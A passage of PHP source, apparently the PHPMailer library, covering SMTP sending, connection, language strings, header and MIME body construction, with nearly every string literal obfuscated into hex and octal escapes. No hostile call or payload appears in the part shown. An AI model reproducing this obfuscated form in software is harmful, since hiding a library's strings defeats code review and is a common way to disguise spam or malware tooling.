isShellSafe($string) { if (escapeshellcmd($string) !== $string or !in_array(escapeshellarg($string), array("\x27{$string}\47", "\42{$string}\42"))) { return false; } $length = strlen($string); for ($i = 0; $i < $length; $i++) { $c = $string[$i]; if (!ctype_alnum($c) && strpos("\100\x5f\x2d\x2e", $c) === false) { return false; } } return true; } protected static function isPermittedPath($path) { return !preg_match("\x23\136\x5b\x61\55\172\x5d\x2b\x3a\x2f\57\x23\151", $path); } protected function mailSend($header, $body) { $toArr = array(); foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = implode("\54\40", $toArr); $params = null; if (!empty($this->Sender) and $this->validateAddress($this->Sender)) { if (self::isShellSafe($this->Sender)) { $params = sprintf("\x2d\146\45\163", $this->Sender); } } if (!empty($this->Sender) and !ini_get("\163\141\146\x65\137\x6d\x6f\144\145") and $this->validateAddress($this->Sender)) { $old_from = ini_get("\163\145\x6e\144\155\x61\151\x6c\137\x66\162\157\155"); ini_set("\163\145\x6e\144\x6d\x61\x69\x6c\137\146\162\x6f\155", $this->Sender); } $result = false; if ($this->SingleTo and count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From); } } else { $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From); } if (isset($old_from)) { ini_set("\163\145\156\x64\x6d\141\x69\154\137\146\162\x6f\x6d", $old_from); } if (!$result) { throw new phpmailerException($this->lang("\x69\156\x73\x74\141\x6e\x74\x69\x61\164\x65"), self::STOP_CRITICAL); } return true; } public function getSMTPInstance() { if (!is_object($this->smtp)) { $this->smtp = new SMTP(); } return $this->smtp; } protected function smtpSend($header, $body) { $bad_rcpt = array(); if (!$this->smtpConnect($this->SMTPOptions)) { throw new phpmailerException($this->lang("\163\x6d\164\160\137\143\x6f\156\156\145\x63\x74\x5f\x66\141\151\x6c\x65\x64"), self::STOP_CRITICAL); } if (!empty($this->Sender) and $this->validateAddress($this->Sender)) { $smtp_from = $this->Sender; } else { $smtp_from = $this->From; } if (!$this->smtp->mail($smtp_from)) { $this->setError($this->lang("\146\162\157\x6d\137\x66\x61\151\x6c\x65\144") . $smtp_from . "\x20\x3a\x20" . implode("\54", $this->smtp->getError())); throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL); } foreach (array($this->to, $this->cc, $this->bcc) as $togroup) { foreach ($togroup as $to) { if (!$this->smtp->recipient($to[0])) { $error = $this->smtp->getError(); $bad_rcpt[] = array("\x74\x6f" => $to[0], "\x65\162\162\x6f\162" => $error["\144\145\x74\141\x69\x6c"]); $isSent = false; } else { $isSent = true; } $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From); } } if (count($this->all_recipients) > count($bad_rcpt) and !$this->smtp->data($header . $body)) { throw new phpmailerException($this->lang("\144\x61\x74\141\x5f\x6e\x6f\x74\x5f\141\143\x63\145\160\x74\x65\144"), self::STOP_CRITICAL); } if ($this->SMTPKeepAlive) { $this->smtp->reset(); } else { $this->smtp->quit(); $this->smtp->close(); } if (count($bad_rcpt) > 0) { $errstr = ''; foreach ($bad_rcpt as $bad) { $errstr .= $bad["\x74\x6f"] . "\72\40" . $bad["\x65\x72\162\157\162"]; } throw new phpmailerException($this->lang("\162\x65\x63\151\x70\151\145\156\x74\163\x5f\146\x61\x69\154\x65\x64") . $errstr, self::STOP_CONTINUE); } return true; } public function smtpConnect($options = null) { if (is_null($this->smtp)) { $this->smtp = $this->getSMTPInstance(); } if (is_null($options)) { $options = $this->SMTPOptions; } if ($this->smtp->connected()) { return true; } $this->smtp->setTimeout($this->Timeout); $this->smtp->setDebugLevel($this->SMTPDebug); $this->smtp->setDebugOutput($this->Debugoutput); $this->smtp->setVerp($this->do_verp); $hosts = explode("\73", $this->Host); $lastexception = null; foreach ($hosts as $hostentry) { $hostinfo = array(); if (!preg_match("\x2f\136\50\x28\x73\x73\x6c\174\x74\154\x73\51\72\134\x2f\x5c\x2f\51\52\50\x5b\x61\55\x7a\101\x2d\132\60\x2d\x39\134\56\55\x5d\52\x7c\134\133\x5b\x61\55\146\x41\x2d\106\60\x2d\x39\x3a\135\53\x5c\135\51\x3a\77\x28\133\x30\55\x39\x5d\x2a\51\44\57", trim($hostentry), $hostinfo)) { $this->edebug("\111\147\156\157\162\151\x6e\147\40\x69\x6e\x76\x61\154\x69\x64\40\x68\157\163\x74\x3a\40" . $hostentry); continue; } $prefix = ''; $secure = $this->SMTPSecure; $tls = $this->SMTPSecure == "\x74\154\163"; if ("\x73\x73\154" == $hostinfo[2] or '' == $hostinfo[2] and "\x73\163\154" == $this->SMTPSecure) { $prefix = "\163\163\154\72\x2f\x2f"; $tls = false; $secure = "\163\163\154"; } elseif ($hostinfo[2] == "\164\154\x73") { $tls = true; $secure = "\x74\x6c\163"; } $sslext = defined("\117\x50\x45\x4e\123\x53\114\x5f\101\114\107\x4f\x5f\x53\x48\x41\x31"); if ("\164\154\163" === $secure or "\163\163\x6c" === $secure) { if (!$sslext) { throw new phpmailerException($this->lang("\145\x78\164\x65\156\x73\151\157\x6e\137\x6d\151\x73\163\x69\x6e\147") . "\x6f\x70\145\156\x73\163\x6c", self::STOP_CRITICAL); } } $host = $hostinfo[3]; $port = $this->Port; $tport = (int) $hostinfo[4]; if ($tport > 0 and $tport < 65536) { $port = $tport; } if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { try { if ($this->Helo) { $hello = $this->Helo; } else { $hello = $this->serverHostname(); } $this->smtp->hello($hello); if ($this->SMTPAutoTLS and $sslext and $secure != "\x73\163\x6c" and $this->smtp->getServerExt("\x53\124\x41\x52\x54\124\114\x53")) { $tls = true; } if ($tls) { if (!$this->smtp->startTLS()) { throw new phpmailerException($this->lang("\x63\157\156\x6e\x65\143\164\137\150\157\x73\164")); } $this->smtp->hello($hello); } if ($this->SMTPAuth) { if (!$this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation)) { throw new phpmailerException($this->lang("\141\x75\x74\x68\x65\156\x74\x69\x63\141\164\x65")); } } return true; } catch (phpmailerException $exc) { $lastexception = $exc; $this->edebug($exc->getMessage()); $this->smtp->quit(); } } } $this->smtp->close(); if ($this->exceptions and !is_null($lastexception)) { throw $lastexception; } return false; } public function smtpClose() { if (is_a($this->smtp, "\x53\115\x54\120")) { if ($this->smtp->connected()) { $this->smtp->quit(); $this->smtp->close(); } } } public function setLanguage($langcode = "\x65\156", $lang_path = '') { $renamed_langcodes = array("\x62\x72" => "\x70\164\x5f\x62\162", "\143\172" => "\143\163", "\x64\x6b" => "\144\x61", "\x6e\x6f" => "\x6e\x62", "\x73\x65" => "\163\166", "\163\162" => "\162\163"); if (isset($renamed_langcodes[$langcode])) { $langcode = $renamed_langcodes[$langcode]; } $PHPMAILER_LANG = array("\x61\165\x74\150\x65\156\x74\x69\x63\x61\x74\145" => "\x53\115\x54\x50\40\x45\162\x72\x6f\162\72\x20\103\x6f\165\154\144\x20\156\157\164\40\141\165\x74\150\145\156\164\x69\x63\141\x74\145\x2e", "\x63\x6f\156\x6e\x65\143\x74\x5f\x68\x6f\163\x74" => "\123\115\x54\x50\40\x45\162\162\157\x72\72\x20\x43\x6f\x75\x6c\x64\40\156\x6f\164\40\143\157\156\x6e\x65\143\x74\x20\x74\157\x20\x53\115\x54\120\x20\150\x6f\x73\164\56", "\x64\x61\x74\141\137\x6e\157\164\x5f\141\143\x63\x65\x70\x74\145\x64" => "\x53\115\124\120\x20\105\x72\162\157\x72\x3a\40\144\x61\164\141\x20\x6e\157\x74\40\141\x63\x63\x65\x70\164\145\144\x2e", "\x65\155\x70\164\x79\x5f\x6d\x65\163\163\x61\147\x65" => "\115\x65\x73\163\x61\147\145\40\x62\157\144\171\x20\145\155\x70\x74\x79", "\145\156\143\x6f\144\x69\x6e\x67" => "\x55\156\153\x6e\157\x77\156\40\x65\156\143\x6f\x64\x69\156\147\72\40", "\145\x78\145\143\x75\x74\x65" => "\x43\x6f\x75\x6c\x64\x20\156\157\x74\x20\x65\x78\145\143\165\x74\145\72\x20", "\146\151\154\x65\x5f\141\143\x63\145\x73\x73" => "\103\x6f\x75\154\144\40\x6e\157\x74\x20\141\x63\143\x65\163\163\x20\x66\151\154\145\72\x20", "\x66\151\x6c\x65\137\x6f\160\145\x6e" => "\106\x69\154\145\40\x45\x72\x72\x6f\x72\x3a\40\x43\157\x75\x6c\144\40\156\x6f\164\x20\x6f\160\145\156\x20\x66\151\154\145\72\40", "\x66\x72\157\155\x5f\146\141\151\154\x65\x64" => "\124\x68\x65\40\146\x6f\154\x6c\157\167\x69\156\x67\40\106\x72\x6f\155\40\x61\x64\144\162\x65\x73\163\x20\146\141\151\154\x65\144\x3a\40", "\151\156\x73\164\141\x6e\x74\x69\141\x74\x65" => "\103\x6f\165\x6c\x64\x20\x6e\x6f\x74\40\151\x6e\x73\164\141\x6e\164\x69\x61\x74\145\x20\x6d\x61\151\154\40\x66\x75\156\x63\164\x69\157\x6e\56", "\x69\156\166\x61\154\x69\144\137\x61\144\x64\162\x65\x73\163" => "\111\x6e\x76\141\154\151\x64\x20\x61\144\x64\162\145\163\x73\x3a\40", "\x6d\141\x69\154\145\162\137\156\157\164\137\x73\x75\x70\160\x6f\x72\164\x65\x64" => "\40\x6d\141\x69\154\145\x72\x20\151\163\x20\x6e\x6f\x74\x20\x73\165\x70\160\157\162\164\x65\x64\56", "\x70\162\157\166\x69\x64\145\137\x61\144\144\162\x65\x73\x73" => "\x59\x6f\x75\40\x6d\x75\163\164\40\x70\x72\x6f\166\x69\x64\145\x20\x61\x74\x20\x6c\x65\141\163\164\x20\157\x6e\x65\x20\x72\x65\x63\x69\x70\151\x65\156\x74\x20\x65\155\x61\x69\x6c\x20\x61\144\144\162\x65\163\163\56", "\162\x65\143\x69\160\151\145\156\164\163\137\x66\x61\x69\x6c\145\144" => "\x53\115\124\120\x20\105\162\x72\x6f\162\x3a\x20\x54\x68\x65\x20\x66\x6f\154\x6c\157\x77\151\156\x67\x20\162\145\143\151\x70\151\x65\156\164\163\x20\x66\x61\x69\154\x65\144\x3a\40", "\163\151\x67\156\151\x6e\x67" => "\x53\x69\x67\156\x69\156\x67\x20\105\x72\162\x6f\162\72\40", "\x73\155\164\x70\x5f\x63\157\156\156\145\143\x74\137\146\141\151\154\145\144" => "\x53\115\x54\x50\x20\x63\157\x6e\x6e\145\143\x74\50\x29\40\x66\x61\151\154\145\x64\56", "\x73\x6d\x74\x70\137\x65\x72\162\x6f\x72" => "\123\115\124\x50\40\163\145\x72\166\145\162\x20\x65\x72\162\x6f\x72\72\40", "\x76\141\x72\x69\141\x62\x6c\145\x5f\x73\145\x74" => "\x43\x61\x6e\x6e\157\x74\x20\x73\x65\x74\40\x6f\162\x20\x72\x65\163\145\x74\40\166\x61\x72\151\x61\x62\x6c\x65\72\40", "\145\x78\x74\145\x6e\163\x69\157\x6e\137\x6d\x69\x73\163\151\x6e\x67" => "\x45\170\x74\x65\156\163\x69\x6f\156\40\155\151\163\163\x69\156\147\72\40"); if (empty($lang_path)) { $lang_path = dirname(__FILE__) . DIRECTORY_SEPARATOR . "\x6c\x61\x6e\x67\x75\x61\147\145" . DIRECTORY_SEPARATOR; } if (!preg_match("\x2f\136\x5b\141\55\172\135\173\x32\175\x28\77\x3a\137\x5b\x61\x2d\172\101\x2d\132\x5d\173\62\x7d\51\77\x24\57", $langcode)) { $langcode = "\145\156"; } $foundlang = true; $lang_file = $lang_path . "\x70\x68\x70\155\x61\151\154\145\162\x2e\x6c\x61\156\147\x2d" . $langcode . "\56\x70\150\160"; if ($langcode != "\145\x6e") { if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) { $foundlang = false; } else { $foundlang = (include $lang_file); } } $this->language = $PHPMAILER_LANG; return (bool) $foundlang; } public function getTranslations() { return $this->language; } public function addrAppend($type, $addr) { $addresses = array(); foreach ($addr as $address) { $addresses[] = $this->addrFormat($address); } return $type . "\x3a\x20" . implode("\54\x20", $addresses) . $this->LE; } public function addrFormat($addr) { if (empty($addr[1])) { return $this->secureHeader($addr[0]); } else { return $this->encodeHeader($this->secureHeader($addr[1]), "\x70\x68\162\x61\163\x65") . "\x20\74" . $this->secureHeader($addr[0]) . "\x3e"; } } public function wrapText($message, $length, $qp_mode = false) { if ($qp_mode) { $soft_break = sprintf("\40\x3d\45\x73", $this->LE); } else { $soft_break = $this->LE; } $is_utf8 = strtolower($this->CharSet) == "\165\x74\x66\x2d\x38"; $lelen = strlen($this->LE); $crlflen = strlen(self::CRLF); $message = $this->fixEOL($message); if (substr($message, -$lelen) == $this->LE) { $message = substr($message, 0, -$lelen); } $lines = explode($this->LE, $message); $message = ''; foreach ($lines as $line) { $words = explode("\x20", $line); $buf = ''; $firstword = true; foreach ($words as $word) { if ($qp_mode and strlen($word) > $length) { $space_left = $length - strlen($buf) - $crlflen; if (!$firstword) { if ($space_left > 20) { $len = $space_left; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif (substr($word, $len - 1, 1) == "\x3d") { $len--; } elseif (substr($word, $len - 2, 1) == "\75") { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); $buf .= "\x20" . $part; $message .= $buf . sprintf("\75\x25\163", self::CRLF); } else { $message .= $buf . $soft_break; } $buf = ''; } while (strlen($word) > 0) { if ($length <= 0) { break; } $len = $length; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif (substr($word, $len - 1, 1) == "\x3d") { $len--; } elseif (substr($word, $len - 2, 1) == "\x3d") { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); if (strlen($word) > 0) { $message .= $part . sprintf("\75\x25\163", self::CRLF); } else { $buf = $part; } } } else { $buf_o = $buf; if (!$firstword) { $buf .= "\40"; } $buf .= $word; if (strlen($buf) > $length and $buf_o != '') { $message .= $buf_o . $soft_break; $buf = $word; } } $firstword = false; } $message .= $buf . self::CRLF; } return $message; } public function utf8CharBoundary($encodedText, $maxLength) { $foundSplitPos = false; $lookBack = 3; while (!$foundSplitPos) { $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); $encodedCharPos = strpos($lastChunk, "\x3d"); if (false !== $encodedCharPos) { $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); $dec = hexdec($hex); if ($dec < 128) { if ($encodedCharPos > 0) { $maxLength = $maxLength - ($lookBack - $encodedCharPos); } $foundSplitPos = true; } elseif ($dec >= 192) { $maxLength = $maxLength - ($lookBack - $encodedCharPos); $foundSplitPos = true; } elseif ($dec < 192) { $lookBack += 3; } } else { $foundSplitPos = true; } } return $maxLength; } public function setWordWrap() { if ($this->WordWrap < 1) { return; } switch ($this->message_type) { case "\141\154\164": case "\141\x6c\164\x5f\x69\x6e\154\151\156\x65": case "\x61\154\x74\x5f\141\164\x74\141\x63\150": case "\141\x6c\x74\137\151\156\x6c\151\156\x65\x5f\141\164\164\x61\x63\x68": $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); break; default: $this->Body = $this->wrapText($this->Body, $this->WordWrap); break; } } public function createHeader() { $result = ''; $result .= $this->headerLine("\x44\x61\164\x65", $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate); if ($this->SingleTo) { if ($this->Mailer != "\x6d\141\x69\x6c") { foreach ($this->to as $toaddr) { $this->SingleToArray[] = $this->addrFormat($toaddr); } } } else { if (count($this->to) > 0) { if ($this->Mailer != "\155\x61\151\x6c") { $result .= $this->addrAppend("\124\x6f", $this->to); } } elseif (count($this->cc) == 0) { $result .= $this->headerLine("\x54\x6f", "\x75\156\x64\x69\163\x63\x6c\157\163\x65\x64\x2d\162\x65\143\151\x70\x69\145\156\x74\x73\x3a\73"); } } $result .= $this->addrAppend("\x46\162\x6f\x6d", array(array(trim($this->From), $this->FromName))); if (count($this->cc) > 0) { $result .= $this->addrAppend("\103\143", $this->cc); } if (($this->Mailer == "\163\145\156\144\155\141\x69\154" or $this->Mailer == "\161\155\141\x69\x6c" or $this->Mailer == "\155\141\x69\x6c") and count($this->bcc) > 0) { $result .= $this->addrAppend("\x42\143\143", $this->bcc); } if (count($this->ReplyTo) > 0) { $result .= $this->addrAppend("\x52\145\160\154\x79\x2d\124\x6f", $this->ReplyTo); } if ($this->Mailer != "\155\141\151\x6c") { $result .= $this->headerLine("\123\x75\x62\x6a\145\x63\x74", $this->encodeHeader($this->secureHeader($this->Subject))); } if ('' != $this->MessageID and preg_match("\57\136\74\56\52\100\x2e\x2a\76\44\57", $this->MessageID)) { $this->lastMessageID = $this->MessageID; } else { $this->lastMessageID = sprintf("\x3c\45\x73\100\x25\x73\x3e", $this->uniqueid, $this->serverHostname()); } $result .= $this->headerLine("\115\145\163\163\x61\x67\145\x2d\111\x44", $this->lastMessageID); if (!is_null($this->Priority)) { $result .= $this->headerLine("\x58\55\120\x72\151\157\x72\x69\164\171", $this->Priority); } if ($this->XMailer == '') { $result .= $this->headerLine("\x58\55\x4d\141\x69\154\145\x72", "\x50\x48\120\115\141\x69\154\x65\162\40" . $this->Version . "\40\x28\150\x74\164\160\x73\72\x2f\57\147\151\x74\150\x75\142\56\143\x6f\x6d\x2f\120\110\x50\115\141\151\x6c\x65\162\x2f\120\110\120\115\x61\x69\154\145\x72\x29"); } else { $myXmailer = trim($this->XMailer); if ($myXmailer) { $result .= $this->headerLine("\130\55\115\x61\x69\x6c\145\x72", $myXmailer); } } if ($this->ConfirmReadingTo != '') { $result .= $this->headerLine("\x44\x69\x73\160\x6f\163\151\164\x69\157\x6e\55\x4e\x6f\164\151\146\151\143\141\x74\x69\x6f\x6e\55\x54\x6f", "\x3c" . $this->ConfirmReadingTo . "\76"); } foreach ($this->CustomHeader as $header) { $result .= $this->headerLine(trim($header[0]), $this->encodeHeader(trim($header[1]))); } if (!$this->sign_key_file) { $result .= $this->headerLine("\x4d\x49\115\x45\x2d\x56\x65\162\x73\151\x6f\x6e", "\61\x2e\x30"); $result .= $this->getMailMIME(); } return $result; } public function getMailMIME() { $result = ''; $ismultipart = true; switch ($this->message_type) { case "\151\156\x6c\151\x6e\x65": $result .= $this->headerLine("\103\x6f\x6e\x74\145\x6e\164\55\124\171\x70\x65", "\155\165\154\x74\x69\160\141\162\x74\57\162\145\154\141\x74\145\144\73"); $result .= $this->textLine("\x9\142\x6f\x75\x6e\144\141\162\171\x3d\42" . $this->boundary[1] . "\42"); break; case "\x61\x74\164\141\143\x68": case "\x69\x6e\154\151\156\x65\137\141\164\x74\x61\143\x68": case "\x61\x6c\x74\137\141\164\x74\x61\143\x68": case "\x61\154\x74\x5f\151\156\154\x69\156\145\137\141\x74\x74\141\x63\150": $result .= $this->headerLine("\103\x6f\x6e\x74\145\156\x74\55\124\x79\160\x65", "\x6d\165\154\164\151\x70\x61\x72\x74\x2f\155\151\170\x65\144\73"); $result .= $this->textLine("\x9\142\x6f\165\x6e\x64\x61\162\171\75\x22" . $this->boundary[1] . "\x22"); break; case "\141\x6c\164": case "\x61\154\164\x5f\x69\x6e\x6c\151\x6e\x65": $result .= $this->headerLine("\103\157\x6e\164\145\156\x74\55\124\x79\x70\x65", "\x6d\165\x6c\164\x69\x70\141\x72\164\x2f\x61\x6c\x74\145\x72\156\141\164\x69\x76\x65\x3b"); $result .= $this->textLine("\x9\x62\157\165\x6e\144\141\x72\x79\75\x22" . $this->boundary[1] . "\x22"); break; default: $result .= $this->textLine("\103\x6f\x6e\x74\145\x6e\x74\55\124\171\x70\145\72\x20" . $this->ContentType . "\73\40\143\x68\141\162\163\x65\164\75" . $this->CharSet); $ismultipart = false; break; } if ($this->Encoding != "\67\x62\x69\164") { if ($ismultipart) { if ($this->Encoding == "\x38\142\151\164") { $result .= $this->headerLine("\x43\x6f\156\164\x65\156\164\x2d\x54\x72\141\156\x73\146\145\x72\x2d\x45\x6e\143\157\144\151\156\x67", "\x38\142\x69\x74"); } } else { $result .= $this->headerLine("\103\157\x6e\164\x65\156\x74\x2d\124\162\141\156\x73\x66\x65\x72\55\x45\156\x63\157\144\151\156\x67", $this->Encoding); } } if ($this->Mailer != "\x6d\x61\151\154") { $result .= $this->LE; } return $result; } public function getSentMIMEMessage() { return rtrim($this->MIMEHeader . $this->mailHeader, "\xa\15") . self::CRLF . self::CRLF . $this->MIMEBody; } protected function generateId() { return md5(uniqid(time())); } public function createBody() { $body = ''; $this->uniqueid = $this->generateId(); $this->boundary[1] = "\x62\61\137" . $this->uniqueid; $this->boundary[2] = "\x62\x32\x5f" . $this->uniqueid; $this->boundary[3] = "\x62\x33\137" . $this->uniqueid; if ($this->sign_key_file) { $body .= $this->getMailMIME() . $this->LE; } $this->setWordWrap(); $bodyEncoding = $this->Encoding; $bodyCharSet = $this->CharSet; if ($bodyEncoding == "\x38\142\x69\x74" and !$this->has8bitChars($this->Body)) { $bodyEncoding = "\67\x62\x69\164"; $bodyCharSet = "\165\163\x2d\x61\163\x63\151\x69"; } if ("\x62\141\x73\145\x36\64" != $this->Encoding and self::hasLineLongerThanMax($this->Body)) { $bodyEncoding = "\161\165\x6f\x74\x65\x64\55\x70\x72\x69\156\164\x61\142\154\x65"; } $altBodyEncoding = $this->Encoding; $altBodyCharSet = $this->CharSet; if ($altBodyEncoding == "\70\142\x69\x74" and !$this->has8bitChars($this->AltBody)) { $altBodyEncoding = "\x37\x62\x69\x74"; $altBodyCharSet = "\165\x73\55\141\x73\x63\151\151"; } if ("\142\x61\163\145\x36\64" != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) { $altBodyEncoding = "\161\x75\x6f\164\145\x64\x2d\x70\162\151\156\164\141\142\154\145"; } $mimepre = "\124\x68\x69\163\x20\x69\163\40\141\40\x6d\165\154\164\151\55\x70\141\x72\164\x20\155\145\163\163\x61\147\x65\x20\x69\x6e\40\115\111\115\105\x20\x66\x6f\162\155\141\x74\56" . $this->LE . $this->LE; switch ($this->message_type) { case "\151\156\x6c\x69\156\x65": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("\151\x6e\x6c\151\156\x65", $this->boundary[1]); break; case "\x61\x74\164\x61\x63\x68": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("\141\x74\164\141\x63\150\x6d\145\x6e\x74", $this->boundary[1]); break; case "\x69\156\x6c\151\x6e\x65\137\x61\164\x74\141\x63\150": $body .= $mimepre; $body .= $this->textLine("\55\55" . $this->boundary[1]); $body .= $this->headerLine("\103\157\156\164\x65\x6e\x74\x2d\124\171\x70\x65", "\x6d\165\x6c\164\x69\x70\x61\x72\164\x2f\162\x65\154\x61\x74\x65\144\x3b"); $body .= $this->textLine("\11\x62\x6f\x75\x6e\x64\x61\162\x79\75\x22" . $this->boundary[2] . "\x22"); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("\x69\x6e\154\x69\x6e\x65", $this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll("\141\164\164\141\x63\150\155\x65\x6e\x74", $this->boundary[1]); break; case "\141\x6c\164": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, "\164\145\x78\164\x2f\x70\x6c\141\x69\156", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, "\x74\145\x78\x74\57\150\x74\x6d\154", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; if (!empty($this->Ical)) { $body .= $this->getBoundary($this->boundary[1], '', "\164\x65\170\164\57\x63\141\x6c\145\156\x64\x61\x72\x3b\x20\x6d\145\164\150\x6f\x64\x3d\x52\x45\x51\x55\x45\123\x54", ''); $body .= $this->encodeString($this->Ical, $this->Encoding); $body .= $this->LE . $this->LE; } $body .= $this->endBoundary($this->boundary[1]); break; case "\141\154\x74\137\151\156\x6c\x69\156\x65": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, "\164\145\170\164\x2f\x70\154\x61\x69\x6e", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->textLine("\x2d\x2d" . $this->boundary[1]); $body .= $this->headerLine("\103\157\x6e\x74\x65\x6e\164\x2d\x54\x79\160\x65", "\155\165\x6c\164\x69\x70\x61\162\164\57\x72\x65\154\141\x74\x65\x64\73"); $body .= $this->textLine("\11\142\157\165\156\144\x61\x72\x79\x3d\42" . $this->boundary[2] . "\x22"); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, "\164\x65\x78\x74\57\150\164\x6d\x6c", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("\151\156\x6c\151\156\x65", $this->boundary[2]); $body .= $this->LE; $body .= $this->endBoundary($this->boundary[1]); break; case "\141\154\164\x5f\x61\164\164\141\x63\x68": $body .= $mimepre; $body .= $this->textLine("\55\55" . $this->boundary[1]); $body .= $this->headerLine("\x43\x6f\x6e\164\145\156\x74\x2d\124\x79\160\x65", "\155\165\x6c\164\x69\x70\141\x72\x74\57\141\154\164\x65\162\x6e\x61\164\x69\166\x65\73"); $body .= $this->textLine("\x9\x62\x6f\x75\x6e\x64\141\x72\x79\x3d\x22" . $this->boundary[2] . "\42"); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, "\164\x65\170\164\x2f\160\x6c\x61\151\156", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, "\x74\145\x78\164\x2f\150\x74\155\154", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->endBoundary($this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll("\141\164\x74\141\x63\150\x6d\x65\x6e\164", $this->boundary[1]); break; case "\141\x6c\164\x5f\151\156\x6c\151\x6e\x65\x5f\141\164\x74\141\x63\150": $body .= $mimepre; $body .= $this->textLine("\55\x2d" . $this->boundary[1]); $body .= $this->headerLine("\x43\x6f\x6e\x74\145\x6e\x74\55\x54\x79\x70\145", "\155\x75\154\x74\151\160\x61\x72\164\x2f\141\154\x74\x65\162\156\141\x74\151\x76\x65\x3b"); $body .= $this->textLine("\11\142\x6f\165\x6e\144\141\162\x79\75\x22" . $this->boundary[2] . "\x22"); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, "\x74\x65\170\164\57\x70\x6c\141\151\156", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->textLine("\55\x2d" . $this->boundary[2]); $body .= $this->headerLine("\x43\x6f\x6e\x74\145\156\x74\55\124\171\x70\x65", "\155\x75\x6c\164\x69\160\141\162\x74\x2f\162\x65\x6c\x61\x74\x65\x64\73"); $body .= $this->textLine("\11\142\157\165\x6e\144\141\162\x79\x3d\x22" . $this->boundary[3] . "\42"); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, "\164\x65\x78\x74\57\x68\164\155\154", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("\x69\156\x6c\151\x6e\145", $this->boundary[3]); $body .= $this->LE; $body .= $this->endBoundary($this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll("\141\164\164\141\143\150\x6d\145\x6e\x74", $this->boundary[1]); break; default: $this->Encoding = $bodyEncoding; $body .= $this->encodeString($this->Body, $this->Encoding); break; } if ($this->isError()) { $body = ''; } elseif ($this->sign_key_file) { try { if (!defined("\120\113\103\123\x37\137\x54\x45\x58\124")) { throw new phpmailerException($this->lang("\145\170\x74\x65\156\x73\151\157\x6e\137\x6d\151\x73\x73\x69\x6e\x67") . "\x6f\160\145\156\163\x73\x6c"); } $file = tempnam(sys_get_temp_dir(), "\155\141\151\x6c"); if (false === file_put_contents($file, $body)) { throw new phpmailerException($this->lang("\x73\151\x67\x6e\151\x6e\147") . "\x20\103\x6f\165\154\144\40\156\x6f\164\40\167\162\x69\x74\145\x20\x74\x65\155\x70\x20\146\151\x6c\x65"); } $signed = tempnam(sys_get_temp_dir(), "\163\x69\147\x6e\x65\144"); if (empty($this->sign_extracerts_file)) { $sign = @openssl_pkcs7_sign($file, $signed, "\x66\x69\154\x65\x3a\57\x2f" . realpath($this->sign_cert_file), array("\146\x69\154\145\72\x2f\57" . realpath($this->sign_key_file), $this->sign_key_pass), null); } else { $sign = @openssl_pkcs7_sign($file, $signed, "\x66\x69\x6c\145\72\57\x2f" . realpath($this->sign_cert_file), array("\x66\151\154\x65\x3a\57\57" . realpath($this->sign_key_file), $this->sign_key_pass), null, PKCS7_DETACHED, $this->sign_extracerts_file); } if ($sign) { @unlink($file); $body = file_get_contents($signed); @unlink($signed); $parts = explode("\12\xa", $body, 2); $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE; $body = $parts[1]; } else { @unlink($file); @unlink($signed); throw new 